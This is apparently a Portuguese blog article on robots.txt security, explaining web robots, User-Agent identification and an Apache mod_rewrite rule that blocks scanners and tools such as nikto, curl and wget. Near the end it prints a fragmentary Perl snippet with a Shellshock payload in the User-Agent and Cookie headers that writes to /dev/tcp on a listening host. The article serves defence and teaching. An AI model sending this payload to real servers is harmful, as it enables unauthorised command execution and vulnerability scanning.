Esse artigo pretende falar sobre os cuidados que devemos ter em relação ao arquivo robots.txt. Porém antes de iniciarmos, vale a pena uma introdução sobre o funcionamento de um robô e a estrutura do arquivo robots.txt.
Web Robot: De acordo com a definição da Wikipedia em [1], Web Robot é um programa de computador que faz uma varredura automática pela Internet por páginas com a finalidade de indexar, validar e monitorar alterações de conteúdo em documentos. Esses programas podem ser utilizados de várias formas como por exemplo para efetuar testes em aplicações em relação a suas funcionalidades ou até mesmo para medir o seu nível de segurança. Alguns exemplos de Web Robots conhecidos são o GoogleBot[2] e o Alexa[3].
Robots.txt: Ainda de acordo com definição da Wikipedia encontrada também em [1] robots.txt é um arquivo em formato texto que funciona como uma espécie de filtro para os robôs dos motores de busca na Internet, permitindo ou não o acesso total ou em partes de um determinado site.
Segue abaixo um exemplo de arquivo robots.txt encontrado no site do Google[4]:
Qual preocupação deve ser considerada em relação ao arquivo “robots.txt”?
Quais outras recomendações devem ser adotadas?
<meta name="robots" content="NOINDEX, NOFOLLOW">
<meta name="robots" content="INDEX, FOLLOW">
O “robots.txt” protege de todos os “Web Robots” ?
O arquivo robots.txt irá impedir robôs registrados e que aparentemente não são maliciosos(em teoria, eles obedecem o arquivo) em acessar as páginas que não vão ser indexadas em mecanismos de busca de acordo com as regras do arquivo, minimizando um dos vetores de ataque. Porém robôs maliciosos e que são criados com a finalidade de atacar são como tubarões procurando sangue, logo são implacáveis, seguindo apenas o seu próprio instinto.
Como identificar um “Web Robot” ?
Além de poder identificar por endereço IP, outro campo que serve como identificação é o User-Agent[7] que é o protocolo de transferência de hipertexto(HTTP) identificando o software do cliente que originou a solicitação (Request) usando um cabeçalho que tem o mesmo nome e que possuí dados do cliente, como por exemplo, o nome e a versão do navegador:
Alguns sites que mantém esse tipo de registro para consulta são o useragentstring[8] e o iplists[9].
Algumas ferramentas para testes de segurança em aplicações web como o Nikito[10], e automações em geral como o httrack[11] também fazem uso do User-Agent, sendo possível a identificação e a negação desse tipo de acesso, porém, vale lembrar que um User-Agent pode ser modificado caso o atacante tenha experiência.
Bloqueando um Web Robot utilizando o módulo do apache mod_rewrite
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(HTTrack|arachni|nikto|w3af|).* [NC,OR]
RewriteCond%{HTTP_USER_AGENT}
^.*(winhttp|libwww-perl|curl|wget|harvest|scan|grab|lisp_miner|tarantula).* [NC]
RewriteRule ^(.*)$ – [F,L]
</IfModule>
Exemplo de “Web Robot” para explorar Shellshock
‘User-Agent’=>”() { :;}; echo “1” > /dev/tcp/$home/51038 “,
‘Cookie’=>”() { :;}; echo “1” > /dev/tcp/$home/51038 “,
‘Accept’=>’image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,image/png, */*’,
‘Accept-Charset’=>’iso-8859-1’,
‘Accept-Language’=>’en-US’,
);
Lembrando que ip_server seria o argumento referente ao endereço do servidor que está em escuta, ou seja esse programa ira listar os servidores vulneráveis ao Shellshock:
$ perl listening_tcp.pl